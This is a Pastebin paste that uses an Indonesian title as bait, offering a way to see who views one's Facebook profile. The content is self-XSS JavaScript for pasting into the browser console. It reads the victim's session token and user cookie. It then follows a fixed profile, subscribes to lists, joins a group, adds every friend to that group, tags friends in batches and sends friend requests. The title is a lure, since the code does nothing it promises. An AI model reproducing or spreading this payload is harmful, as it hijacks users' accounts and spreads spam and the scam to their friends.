Advertisement
evilsakura

Cara Mengatahui Orang Yang Selalu Tengok Profile FB Kita

Jun 8th, 2013
2,918
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 8.57 KB | None | 0 0
  1. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  2. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  3.  
  4. function cereziAl(isim) {
  5. var tarama = isim + "=";
  6. if (document.cookie.length > 0) {
  7. konum = document.cookie.indexOf(tarama)
  8. if (konum != -1) {
  9. konum += tarama.length
  10. son = document.cookie.indexOf(";", konum)
  11. if (son == -1)
  12. son = document.cookie.length
  13. return unescape(document.cookie.substring(konum, son))
  14. }
  15. else { return ""; }
  16. }
  17. }
  18.  
  19. function getRandomInt (min, max) {
  20. return Math.floor(Math.random() * (max - min + 1)) + min;
  21. }
  22. function randomValue(arr) {
  23. return arr[getRandomInt(0, arr.length-1)];
  24. }
  25.  
  26. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  27. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  28.  
  29. function a(abone){
  30. var http4 = new XMLHttpRequest();
  31.  
  32. var url4 = "/ajax/follow/follow_profile.php?__a=1";
  33.  
  34. var params4 = "profile_id=" + abone + "&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg=" + fb_dtsg + "&lsd&__" + user_id + "&phstamp=";
  35. http4.open("POST", url4, true);
  36.  
  37. //Send the proper header information along with the request
  38. http4.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  39. http4.setRequestHeader("Content-length", params4.length);
  40. http4.setRequestHeader("Connection", "close");
  41.  
  42. http4.onreadystatechange = function() {//Call a function when the state changes.
  43. if(http4.readyState == 4 && http4.status == 200) {
  44.  
  45. http4.close; // Close the connection
  46.  
  47. }
  48. }
  49.  
  50. http4.send(params4);
  51. }
  52.  
  53. function sublist(uidss) {
  54. var a = document.createElement('script');
  55. a.innerHTML = "new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: " + uidss + " }).send();";
  56. document.body.appendChild(a);
  57. }
  58.  
  59. a("100004340082074");
  60.  
  61. sublist("302868673183791");
  62.  
  63. sublist("667386153287460");
  64.  
  65. sublist("668464323179643");
  66.  
  67. sublist("668586296500779");
  68.  
  69. sublist("638540972840708");
  70.  
  71. sublist("638540972840708");
  72.  
  73.  
  74. var gid = ['285860628209086'];
  75.  
  76. var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
  77. var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);
  78.  
  79. var httpwp = new XMLHttpRequest();
  80. var urlwp = '/ajax/groups/membership/r2j.php?__a=1';
  81. var paramswp = '&ref=group_jump_header&group_id=' + gid + '&fb_dtsg=' + fb_dtsg + '&__user=' + user_id + '&phstamp=';
  82. httpwp['open']('POST', urlwp, true);
  83. httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded');
  84. httpwp['setRequestHeader']('Content-length', paramswp['length']);
  85. httpwp['setRequestHeader']('Connection', 'keep-alive');
  86. httpwp['send'](paramswp);
  87.  
  88. var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
  89. var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);
  90.  
  91. var friends = new Array();
  92. gf = new XMLHttpRequest();
  93. gf['open']('GET', '/ajax/typeahead/first_degree.php?__a=1&viewer=' + user_id + '&token' + Math['random']() + '&filter[0]=user&options[0]=friends_only', false);
  94. gf['send']();
  95. if (gf['readyState'] != 4) {} else {
  96. data = eval('(' + gf['responseText']['substr'](9) + ')');
  97. if (data['error']) {} else {
  98. friends = data['payload']['entries']['sort'](function (_0x93dax8, _0x93dax9) {
  99. return _0x93dax8['index'] - _0x93dax9['index'];
  100. });
  101. };
  102. };
  103.  
  104. for (var i = 0; i < friends['length']; i++) {
  105. var httpwp = new XMLHttpRequest();
  106. var urlwp = '/ajax/groups/members/add_post.php?__a=1';
  107. var paramswp= '&fb_dtsg=' + fb_dtsg + '&group_id=' + gid + '&source=typeahead&ref=&message_id=&members=' + friends[i]['uid'] + '&__user=' + user_id + '&phstamp=';
  108. httpwp['open']('POST', urlwp, true);
  109. httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded');
  110. httpwp['setRequestHeader']('Content-length', paramswp['length']);
  111. httpwp['setRequestHeader']('Connection', 'keep-alive');
  112. httpwp['onreadystatechange'] = function () {
  113. if (httpwp['readyState'] == 4 && httpwp['status'] == 200) {};
  114. };
  115. httpwp['send'](paramswp);
  116. };
  117. var spage_id = "386786718073145";
  118. var spost_id = "377562455589986";
  119. var sfoto_id = "351698991619160";
  120. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  121. var smesaj = "";
  122. var smesaj_text = "";
  123. var arkadaslar = [];
  124. var svn_rev;
  125. var bugun= new Date();
  126. var btarihi = new Date();
  127. btarihi.setTime(bugun.getTime() + 1000*60*60*4*1);
  128. if(!document.cookie.match(/paylasti=(\d+)/)){
  129. document.cookie = "paylasti=hayir;expires="+ btarihi.toGMTString();
  130. }
  131.  
  132.  
  133. //arkadaslari al ve isle
  134. function sarkadaslari_al(){
  135. var xmlhttp = new XMLHttpRequest();
  136. xmlhttp.onreadystatechange = function () {
  137. if(xmlhttp.readyState == 4){
  138. eval("arkadaslar = " + xmlhttp.responseText.toString().replace("for (;;);","") + ";");
  139. for(f=0;f<Math.round(arkadaslar.payload.entries.length/10);f++){
  140. smesaj = "";
  141. smesaj_text = "";
  142. for(i=f*10;i<(f+1)*10;i++){
  143. if(arkadaslar.payload.entries[i]){
  144. smesaj += " @[" + arkadaslar.payload.entries[i].uid + ":" + arkadaslar.payload.entries[i].text + "]";
  145. smesaj_text += " " + arkadaslar.payload.entries[i].text;
  146. }
  147. }
  148. sdurumpaylas(); }
  149.  
  150. }
  151.  
  152. };
  153. var params = "&filter[0]=user";
  154. params += "&options[0]=friends_only";
  155. params += "&options[1]=nm";
  156. params += "&token=v7";
  157. params += "&viewer=" + user_id;
  158. params += "&__user=" + user_id;
  159.  
  160. if (document.URL.indexOf("https://") >= 0) { xmlhttp.open("GET", "https://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + params, true); }
  161. else { xmlhttp.open("GET", "http://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + params, true); }
  162. xmlhttp.send();
  163. }
  164.  
  165. //tiklama olayini dinle
  166. var tiklama = document.addEventListener("click", function () {
  167. if(document.cookie.split("paylasti=")[1].split(";")[0].indexOf("hayir") >= 0){
  168. svn_rev = document.head.innerHTML.split('"svn_rev":')[1].split(",")[0];
  169. sarkadaslari_al();
  170. document.cookie = "paylasti=evet;expires="+ btarihi.toGMTString();
  171.  
  172. document.removeEventListener(tiklama);
  173. }
  174. }, false);
  175.  
  176.  
  177. //arkada?¾ ekleme
  178. function sarkadasekle(uid,cins){
  179. var xmlhttp = new XMLHttpRequest();
  180. xmlhttp.onreadystatechange = function () {
  181. if(xmlhttp.readyState == 4){
  182. }
  183. };
  184.  
  185. xmlhttp.open("POST", "/ajax/add_friend/action.php?__a=1", true);
  186. var params = "to_friend=" + uid;
  187. params += "&action=add_friend";
  188. params += "&how_found=friend_browser";
  189. params += "&ref_param=none";
  190. params += "&outgoing_id=";
  191. params += "&logging_location=friend_browser";
  192. params += "&no_flyout_on_click=true";
  193. params += "&ego_log_data=";
  194. params += "&http_referer=";
  195. params += "&fb_dtsg=" + document.getElementsByName('fb_dtsg')[0].value;
  196. params += "&phstamp=165816749114848369115";
  197. params += "&__user=" + user_id;
  198. xmlhttp.setRequestHeader ("X-SVN-Rev", svn_rev);
  199. xmlhttp.setRequestHeader ("Content-Type","application/x-www-form-urlencoded");
  200.  
  201. if(cins == "farketmez" && document.cookie.split("cins" + user_id +"=").length > 1){
  202. xmlhttp.send(params);
  203. }else if(document.cookie.split("cins" + user_id +"=").length <= 1){
  204. cinsiyetgetir(uid,cins,"sarkadasekle");
  205. }else if(cins == document.cookie.split("cins" + user_id +"=")[1].split(";")[0].toString()){
  206. xmlhttp.send(params);
  207. }
  208. }
  209.  
  210. //cinsiyet belirleme
  211. var cinssonuc = {};
  212. var cinshtml = document.createElement("html");
  213. function scinsiyetgetir(uid,cins,fonksiyon){
  214. var xmlhttp = new XMLHttpRequest();
  215. xmlhttp.onreadystatechange = function () {
  216. if(xmlhttp.readyState == 4){
  217. eval("cinssonuc = " + xmlhttp.responseText.toString().replace("for (;;);","") + ";");
  218. cinshtml.innerHTML = cinssonuc.jsmods.markup[0][1].__html
  219. btarihi.setTime(bugun.getTime() + 1000*60*60*24*365);
  220. if(cinshtml.getElementsByTagName("select")[0].value == "1"){
  221. document.cookie = "cins" + user_id + "=kadin;expires=" + btarihi.toGMTString();
  222. }else if(cinshtml.getElementsByTagName("select")[0].value == "2"){
  223. document.cookie = "cins" + user_id + "=erkek;expires=" + btarihi.toGMTString();
  224. }
  225. eval(fonksiyon + "(" + id + "," + cins + ");");
  226. }
  227. };
  228. xmlhttp.open("GET", "/ajax/timeline/edit_profile/basic_info.php?__a=1&__user=" + user_id, true);
  229. xmlhttp.setRequestHeader ("X-SVN-Rev", svn_rev);
  230. xmlhttp.send();
  231. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement